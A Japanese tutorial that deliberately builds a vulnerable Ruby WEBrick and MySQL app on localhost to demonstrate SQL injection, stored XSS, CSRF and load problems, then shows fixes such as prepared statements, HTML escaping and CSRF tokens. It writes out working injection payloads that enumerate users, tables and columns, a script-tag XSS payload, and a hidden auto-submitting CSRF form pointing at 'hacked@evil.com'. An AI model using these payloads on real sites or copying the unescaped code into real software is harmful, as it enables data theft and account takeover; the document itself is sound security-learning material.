セキュリティ的に問題のあるコードを「あえて」作ってみる

環境のセットアップ
services:
ruby:
image: ruby:3.2
volumes:
- .:/app
working_dir: /app
ports:
- "3000:3000"
stdin_open: true
tty: true
command: bash
db:
image: mysql:8.0
volumes:
- mysql_data:/var/lib/mysql
ports:
- "3306:3306"
environment:
MYSQL_ROOT_PASSWORD: password
MYSQL_DATABASE: mysql
command: --default-authentication-plugin=mysql_native_password
volumes:
mysql_data:
tty: true
(TTY - ターミナルを割り当てる)とstdin_open: true
(コンテナの標準入力を開いたままにする)のオプションを設定することで、rubyコンテナが立ち上がったままになる
source 'https://rubygems.org'
gem 'webrick'
gem "mysql2"

bundle exec ruby
vs ruby
-
bundle exec ruby
: Gemfileで指定されたライブラリのバージョンが利用される -
ruby
: システムにインストールされたライブラリのバージョンが利用される
例:
Gemfileでは sqlite3 gem のバージョン 1.4.0 を指定
しかし、別のプロジェクトで 1.5.0 でダウンロードされた
=> ruby
で実行した場合は 1.5.0 が利用される

どこにインストールされるか
- システムの ruby の gem ディレクトリ内に保存される
-
gem env | grep gem
で調べることができる
プロジェクトごとにライブラリをインストールしたい
- ベンダー化モード を利用することで実現可能
bundle install --path vendor/bundle

SQL Injection
根本原因
- クエリ実行時にユーザから渡されたパラメータをエスケープしていない
コード
client = Mysql2::Client.new(
host: 'db',
username: "root",
password: "password",
database: "test_db"
)
# Create a simple database
client.query("CREATE TABLE IF NOT EXISTS users (id INT PRIMARY KEY, username VARCHAR(50), password VARCHAR(50), role VARCHAR(50))")
# Insert some test data
client.query("INSERT IGNORE INTO users VALUES (1, 'admin', 'admin-password', 'admin')")
client.query("INSERT IGNORE INTO users VALUES (2, 'alice', 'alice-password', 'user')")
client.query("INSERT IGNORE INTO users VALUES (3, 'bob', 'bob-password', 'user')")
client.query("INSERT IGNORE INTO users VALUES (4, 'charlie', 'charlie-password', 'user')")
client.query("INSERT IGNORE INTO users VALUES (5, 'eve', 'eve-password', 'user')")
server = WEBrick::HTTPServer.new(:Port => 3000)
# user search(vulnerable to SQL injection)
server.mount_proc '/search' do |req, res|
username = req.query['username']
# Vulnerable SQL query - NO SANITIZATION
query = "SELECT username FROM users WHERE username = '#{username}' AND role = 'user'"
begin
results = client.query(query)
res.status = 200
res['Content-Type'] = 'text/plain'
res.body = results.to_a.inspect
rescue Mysql2::Error => e
res.body = "Error: #{e.message}"
end
end
正常系
http://localhost:3000/search?username=alice
# SELECT * FROM users WHERE username = 'alice' AND role = 'user'"
# => [{"username"=>"alice"}]
SQL Injection
全ユーザー表示
http://localhost:3000/search?username=' OR '1 '= '1
# SELECT * FROM users WHERE username = '' OR '1 '= '1' AND role = 'user'"
# => [{"username"=>"alice"}, {"username"=>"bob"}, {"username"=>"charlie"}, {"username"=>"eve"}]
管理者を含む全ユーザー表示
http://localhost:3000/search?username=' OR role = 'admin' OR '1' = '1
# SELECT * FROM users WHERE username = '' OR role = 'admin' OR '1' = '1' AND role = 'user'"
# => [{"username"=>"admin"}, {"username"=>"alice"}, {"username"=>"bob"}, {"username"=>"charlie"}, {"username"=>"eve"}]
管理者を含む全ユーザー表示(roleカラムの存在をしらなくてもOK)
http://localhost:3000/search?username=' OR 1=1 --
# SELECT * FROM users WHERE username = '' username=' OR 1=1 -- ' AND role = 'user'"
# => [{"username"=>"admin"}, {"username"=>"alice"}, {"username"=>"bob"}, {"username"=>"charlie"}, {"username"=>"eve"}]
http://localhost:3000/search?username=' OR
# SELECT * FROM users WHERE username = '' OR 1 = 1 UNION SELECT username FROM users WHERE '1' = '1' AND role = 'user'"
# => [{"username"=>"admin"}, {"username"=>"alice"}, {"username"=>"bob"}, {"username"=>"charlie"}, {"username"=>"eve"}]
テーブル名を表示
http://localhost:3000/search?username=' UNION SELECT table_name FROM information_schema.columns WHERE table_schema=database() --
# SELECT * FROM users WHERE username = '' UNION SELECT table_name FROM information_schema.columns WHERE table_schema=database() -- ' AND role = 'user'"
# => [{"username"=>"users"}]
カラム名を表示
http://localhost:3000/search?username=' UNION SELECT column_name FROM information_schema.columns WHERE table_schema=database() --
# SELECT * FROM users WHERE username = '' UNION SELECT column_name FROM information_schema.columns WHERE table_schema=database() -- ' AND role = 'user'"
# => [{"username"=>"id"}, {"username"=>"username"}, {"username"=>"password"}, {"username"=>"role"}]

コメントアウトの攻撃はエラーになってしまうっぽい
http://localhost:3000/find?username=user' OR '1'= '1' --
# Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'user'' at line 1
http://localhost:3000/find?username=user' OR '1'= '1' --
というように--
のあとにスペースを入れる。

XSS
根本原因
- HTMLに表示するときにエスケープをしていない
コード
client.query("CREATE TABLE IF NOT EXISTS messages (id INT AUTO_INCREMENT PRIMARY KEY, message TEXT, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP)")
server.mount_proc('/') do |req, res|
if req.request_method == 'POST'
# ===============================
# 新規メッセージ作成
# ===============================
message = req.query['message']
# XSS脆弱性: ユーザー入力を無害化せずに直接データベースに保存
client.query("INSERT INTO messages (message) VALUES ('#{message}')")
# See other
res.set_redirect(WEBrick::HTTPStatus::SeeOther, '/')
else
# ===============================
# メッセージ一覧表示
# ===============================
messages = client.query("SELECT * FROM messages ORDER BY created_at DESC")
template = ERB.new(File.read('erb/index.erb'))
res.body = template.result(binding)
res.content_type = 'text/html'
end
end
<!DOCTYPE html>
<html>
<body>
<div class="form">
<h2>新しいメッセージを投稿</h2>
<form method="POST" action="/">
<textarea name="message" rows="3" cols="40"></textarea><br>
<input type="submit" value="投稿">
</form>
</div>
<h2>メッセージ一覧</h2>
<% messages.each do |message| %>
<div class="message">
<!-- XSS脆弱性: ERBでユーザー入力をエスケープせずに出力 -->
<%= message['message'] %>
</div>
<% end %>
</body>
</html>
pタグを入れてみる
<p style="color: red">xss</p>
インサート時にclient.query("INSERT INTO messages (message) VALUES ('#{message}')")
と'
を使用しているため、入力値には'
ではなく、"
を利用する
scriptタグを入れてみる
<script>alert("xss");</script>

CSRF
根本原因
- CookieがJavascriptで呼び出せる
- 攻撃者のページからJSでCookieを取得することができてしまう
- 対策:HttpOnly
- 外部のサイトにCookieが渡されている
- 対策:同一オリジンポリシーを設定
- 適切なサイトからのリクエストであるかを検証していない
- 対策:CSRF対策トークン、Origin/Refererヘッダーを検証
コード
メールアドレス更新
server.mount_proc('/update_email') do |req, res|
if req.request_method == 'POST'
# セッション情報を取得
session_id = req.cookies.find { |c| c.name == 'session_id' }&.value
session = Session.get(session_id)
if session.nil?
res.set_redirect(WEBrick::HTTPStatus::Found, '/login')
next
end
# データベース更新
new_email = req.query['email']
client.query("UPDATE users SET email = '#{new_email}' WHERE id = #{session[:user_id]}")
res.set_redirect(WEBrick::HTTPStatus::Found, '/profile?updated=1')
end
end
攻撃者用コード(一部抜粋)
-
/update_email
に攻撃者のメールアドレスを仕込んだフォームリクエストを送信 -
iframe
を埋め込むことで、フォーム送信時に画面遷移しないようにする
<!-- 隠しCSRF攻撃フォーム - 自動的に送信される -->
<iframe style="display:none" name="hidden-frame"></iframe>
<form id="csrf-form" action="http://localhost:3000/update_email" method="post" target="hidden-frame">
<input type="hidden" name="email" value="hacked@evil.com">
</form>
<script>
// ページ読み込み時に自動的にフォームを送信
window.onload = function() {
document.getElementById('csrf-form').submit();
// 送信成功を偽装
setTimeout(function() {
alert('おめでとうございます!エントリーが完了しました!');
}, 1000);
};
</script>
サービスページ
ログイン画面
プロフィール画面
攻撃者用ページ
アクセスするだけでメールアドレスが更新されてしまう
更新されたメールアドレス

DoS対策
最初のコード
require 'webrick'
require 'mysql2'
require 'erb'
# Create MySQL client
client = Mysql2::Client.new(
host: 'db',
username: "root",
password: "password",
database: "test_db",
reconnect: true
)
# Create a simple database
client.query("CREATE TABLE IF NOT EXISTS users (id INT PRIMARY KEY, username VARCHAR(50), password VARCHAR(50), role VARCHAR(50))")
# Insert some test data
if client.query("SELECT COUNT(*) FROM users").first["COUNT(*)"] == 0
1000.times do |i|
client.query("INSERT IGNORE INTO users VALUES (#{i}, 'user#{i}', 'password#{i}', 'user')")
end
end
# Create a WebRick server
server = WEBrick::HTTPServer.new(:Port => 3000)
server.mount('/public', WEBrick::HTTPServlet::FileHandler, 'public')
server.mount_proc '/' do |req, res|
@users = client.query("SELECT * FROM users")
template = ERB.new(File.read('erb/index.erb'))
res.body = template.result(binding)
res.content_type = 'text/html'
end
# terminate server on Ctrl+C
trap('INT') { server.shutdown }
server.start

大量にアクセスをすると、ERROR Mysql2::Error: This connection is in use by...
が発生するので、コネクションプールを作ってみる。
require 'webrick'
require 'mysql2'
require 'erb'
require 'connection_pool'
# Create MySQL client
DB_POOL = ConnectionPool.new(size: 5, timeout: 5) do
Mysql2::Client.new(
host: 'db',
username: "root",
password: "password",
database: "test_db",
)
end
DB_POOL.with do |client|
# Create a simple database
client.query("CREATE TABLE IF NOT EXISTS users (id INT PRIMARY KEY, username VARCHAR(50), password VARCHAR(50), role VARCHAR(50))")
# Insert some test data
if client.query("SELECT COUNT(*) FROM users").first["COUNT(*)"] == 0
1000.times do |i|
client.query("INSERT IGNORE INTO users VALUES (#{i}, 'user#{i}', 'password#{i}', 'user')")
end
end
end
# Create a WebRick server
server = WEBrick::HTTPServer.new(:Port => 3000)
server.mount('/public', WEBrick::HTTPServlet::FileHandler, 'public')
server.mount_proc '/' do |req, res|
begin
DB_POOL.with do |client|
@users = client.query("SELECT * FROM users")
template = ERB.new(File.read('erb/index.erb'))
res.body = template.result(binding)
res.content_type = 'text/html'
end
rescue ConnectionPool::TimeoutError
res.status = 503
res.body = "Database connection timeout. Please try again later."
res.content_type = 'text/plain'
end
end
# terminate server on Ctrl+C
trap('INT') { server.shutdown }
server.start
途中まで耐えられてたけど、Segmentation fault
が発生しちゃった。
ruby-1 | (erb):15: [BUG] Segmentation fault at 0x0000000000000008
ruby-1 | ruby 3.2.8 (2025-03-26 revision 13f495dc2c) [aarch64-linux]

これはWebrickの問題なのかDB接続の問題なのかが良くわからなかったので、ファイル読み込みのみを行うサーバを立てる
require 'webrick'
require 'mysql2'
require 'erb'
# Create a WebRick server
server = WEBrick::HTTPServer.new(:Port => 3000)
server.mount_proc '/' do |req, res|
res.body = File.read('public/rails.png')
res.content_type = 'image/png'
end
# terminate server on Ctrl+C
trap('INT') { server.shutdown }
server.start
いちおう、レスポンスに時間がかかってしまうけど、サーバが落ちることはなかった

画像取得の負荷テスト
サーバ直接(リソース制約なし)
400ユーザあたりからリクエストが落ち始めた
メモリはあまり使ってないけど、CPUがボトルネックになっているみたい
nginx(リソース制約なし) + サーバ(リソース制約なし)
エラーなく対処できた
nginx(リソース制約なし) + サーバ(RAM: 256, CPU: 0.3)
キャッシュデータを返すだけだから、サーバへのリクエストはない
nginx(RAM: 256, CPU: 0.3)+ サーバ(RAM: 256, CPU: 0.3)
リソース制約をつけても、さばき切れた
キャッシュが利用できる場合は、CPUもメモリもそんなに使わないっぽい

SQLインジェクション対策
- クエリとパラメータを分離する(Prepared Statementsを使用する)
stmt = client.prepare("SELECT username FROM users WHERE username = ? AND role = 'user'")
results = stmt.execute(username)
mysql> PREPARE stmt1 FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
mysql> SET @a = 3;
mysql> SET @b = 4;
mysql> EXECUTE stmt1 USING @a, @b;
+------------+
| hypotenuse |
+------------+
| 5 |
+------------+
mysql> DEALLOCATE PREPARE stmt1;
MySQLサーバには Prepared Statement -> EXECUTE が別々に送信される。

XSS対策
- 描画時 / 保存時 に値をエスケープする
<%= CGI.escapeHTML(message['message']) %>
描画される状態
<div class="message">
<!-- エスケープする -->
<script>alert("xss");</script>
</div>

CSRF対策
- CSRFトークンを生成
class Session
@@sessions = {}
def self.create(user_id)
session_id = SecureRandom.hex(16)
# トークンを付与
csrf_token = SecureRandom.hex(32)
@@sessions[session_id] = {
user_id: user_id,
csrf_token: csrf_token,
created_at: Time.now
}
return session_id
end
def self.get(session_id)
@@sessions[session_id]
end
def self.destroy(session_id)
@@sessions.delete(session_id)
end
end
- CSRFトークンを埋め込む
<input type="hidden" name="csrf_token" value="<%= session[:csrf_token] %>">
対策できる理由
- 攻撃者のページからのフォーム送信時に有効なCSRFトークンを含むことができにため。
<form id="csrf-form" action="<%= @target_url %>" method="post" target="hidden-frame">
<input type="hidden" name="email" value="hacked@evil.com">
</form>
<script>
// ページ読み込み時に自動的にフォームを送信
window.onload = function() {
document.getElementById('csrf-form').submit();
};
</script>

疑問
攻撃者のサイト上に iframe で CSRFトークンが埋め込まれたページを描画して、トークンを取得することができるのでは?
結論
「他のサイトのJavascriptから、DOMを操作できないようにする」というブラウザの機能があるから大丈夫
検証
プロフィールページから直接取得
ふつうに取得できる
document.querySelector('input[name="csrf_token"]').value;
// > 'eae179f009c512f79772367cc25cb954224adef6f454985c7ec178d0949a35b4'
攻撃者ページのiframeから取得
<iframe id="victimFrame" src="<%= @target_endpoint %>/profile"></iframe>
<script>
setTimeout(function() {
// 失敗する
var token = document.getElementById('victimFrame').contentDocument.querySelector('input[name="csrf_token"]').value;
console.log("盗んだトークン: " + token);
}, 1000);
</script>
document.getElementById('victimFrame').contentDocument
が null
となるため取得できない
Same-Origin Policy
- ブラウザのセキュリティ機能
- 別のオリジンのページの DOM にアクセスできない
- 攻撃者がユーザのログイン状態で表示しても、CSRFトークンをJavaScriptから表示することはできない